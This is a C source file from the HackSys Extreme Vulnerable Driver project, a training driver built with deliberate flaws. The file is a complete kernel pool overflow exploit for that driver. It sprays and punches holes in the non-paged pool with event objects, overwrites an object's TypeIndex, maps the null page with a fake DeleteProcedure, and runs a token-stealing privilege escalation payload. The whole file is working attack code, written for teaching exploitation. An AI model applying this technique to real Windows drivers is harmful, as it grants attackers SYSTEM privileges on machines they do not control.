mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
HackSys Team
244 lines
8.5 KiB
C
244 lines
8.5 KiB
C
/*++
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## ## ######## ## ## ########
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## ## ## ## ## ## ##
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## ## ## ## ## ## ##
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######### ###### ## ## ## ##
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## ## ## ## ## ## ##
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## ## ## ## ## ## ##
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## ## ######## ### ########
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HackSys Extreme Vulnerable Driver Exploit
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Author : Ashfaq Ansari
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Contact: ashfaq[at]hacksys[dot]io
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Website: https://hacksys.io/
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Copyright (C) 2021-2023 HackSys Inc. All rights reserved.
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Copyright (C) 2015-2020 Payatu Software Labs LLP. All rights reserved.
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This program is free software: you can redistribute it and/or modify it under the terms of
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the GNU General Public License as published by the Free Software Foundation, either version
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3 of the License, or (at your option) any later version.
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This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
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without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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See the GNU General Public License for more details.
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You should have received a copy of the GNU General Public License along with this program.
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If not, see <http://www.gnu.org/licenses/>.
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THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
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LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
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ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
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INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
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TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
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INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
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LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
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THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
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See the file 'LICENSE' for complete copying permission.
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Module Name:
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PoolOverflow.c
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Abstract:
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This module implements the exploit for Pool Overflow
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Vulnerability implemented in HackSys Extreme Vulnerable
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Driver.
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--*/
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#include "PoolOverflow.h"
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VOID SprayNonPagedPoolWithEventObjects() {
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UINT32 i = 0;
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for (i = 0; i < 10000; i++) {
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EventObjectArrayA[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
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if (!EventObjectArrayA[i]) {
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DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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}
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for (i = 0; i < 5000; i++) {
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EventObjectArrayB[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
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if (!EventObjectArrayB[i]) {
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DEBUG_ERROR("\t\t[-] Failed To Allocate Event Objects: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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}
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}
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VOID CreateHolesInNonPagedPoolByCoalescingEventObjects() {
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UINT32 i = 0;
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UINT32 j = 0;
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for (i = 0; i < 5000; i += 16) {
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for (j = 0; j < 8; j++) {
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if (!CloseHandle(EventObjectArrayB[i + j])) {
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DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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}
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}
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}
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VOID FreeEventObjects() {
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UINT32 i = 0;
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UINT32 j = 0;
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for (i = 0; i < 10000; i++) {
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if (!CloseHandle(EventObjectArrayA[i])) {
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DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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}
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for (i = 8; i < 5000; i += 16) {
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for (j = 0; j < 8; j++) {
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if (!CloseHandle(EventObjectArrayB[i + j])) {
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DEBUG_ERROR("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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}
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}
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}
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DWORD WINAPI PoolOverflowThread(LPVOID Parameter) {
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ULONG BytesReturned;
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HANDLE hFile = NULL;
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PVOID Memory = NULL;
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PULONG UserModeBuffer = NULL;
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LPCSTR FileName = (LPCSTR)DEVICE_NAME;
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PVOID EopPayload = &TokenStealingPayloadPoolOverflowWin7;
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SIZE_T UserModeBufferSize = (ULONG)(POOL_BUFFER_SIZE + TYPE_INDEX_OVERWRITE);
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__try {
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// Get the device handle
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DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
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DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
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hFile = GetDeviceHandle(FileName);
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if (hFile == INVALID_HANDLE_VALUE) {
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DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
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}
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DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
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DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
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// Allocate the Heap chunk
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UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
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HEAP_ZERO_MEMORY,
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UserModeBufferSize);
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if (!UserModeBuffer) {
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DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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else {
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DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer);
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DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize);
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}
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DEBUG_INFO("\t\t[+] Mapping Null Page\n");
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if (!MapNullPage()) {
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DEBUG_ERROR("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
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RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
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// Restore POOL_HEADER and set TypeIndex to 0x00 (TypeIndex is UChar)
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Memory = (PVOID)((ULONG)UserModeBuffer + (ULONG)POOL_BUFFER_SIZE);
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*(PULONG)Memory = (ULONG)0x04080040;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0xee657645;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0x00000000;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0x00000040;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0x00000000;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0x00000000;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0x00000001;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0x00000001;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0x00000000;
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Memory = (PVOID)((ULONG)Memory + 0x4);
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*(PULONG)Memory = (ULONG)0x00080000;
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DEBUG_INFO("\t\t\t[+] TypeIndex Of Event Object Set To: 0x0\n");
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DEBUG_INFO("\t\t[+] Preparing OBJECT_TYPE_INITIALIZER At Null Page\n");
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// Set the DeleteProcedure to the address of our payload
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*(PULONG)0x00000060 = (ULONG)EopPayload;
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DEBUG_INFO("\t\t\t[+] DeleteProcedure: 0x%X\n", *(PULONG)0x00000060);
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DEBUG_INFO("\t\t\t[+] DeleteProcedure Address: 0x%p\n", (ULONG)0x00000060);
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DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
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DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n");
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DEBUG_INFO("\t\t\t[+] Spraying With Event Objects\n");
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// Spray the NonPaged Pool
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SprayNonPagedPoolWithEventObjects();
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DEBUG_INFO("\t\t\t[+] Creating Holes By Coalescing\n");
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// Create the holes for the vulnerable buffer
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CreateHolesInNonPagedPoolByCoalescingEventObjects();
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DEBUG_MESSAGE("\t[+] Triggering Pool Overflow\n");
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OutputDebugString("****************Kernel Mode****************\n");
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// Allocate the vulnerable buffer in one of the holes we created
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DeviceIoControl(hFile,
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HACKSYS_EVD_IOCTL_POOL_OVERFLOW,
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(LPVOID)UserModeBuffer,
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(DWORD)UserModeBufferSize,
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NULL,
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0,
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&BytesReturned,
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NULL);
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OutputDebugString("****************Kernel Mode****************\n");
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DEBUG_INFO("\t\t[+] Triggering Payload\n");
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DEBUG_INFO("\t\t\t[+] Freeing Event Objects\n");
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// Free the NonPaged Pool
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FreeEventObjects();
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HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
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UserModeBuffer = NULL;
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}
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__except (EXCEPTION_EXECUTE_HANDLER) {
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DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
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exit(EXIT_FAILURE);
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}
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return EXIT_SUCCESS;
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}
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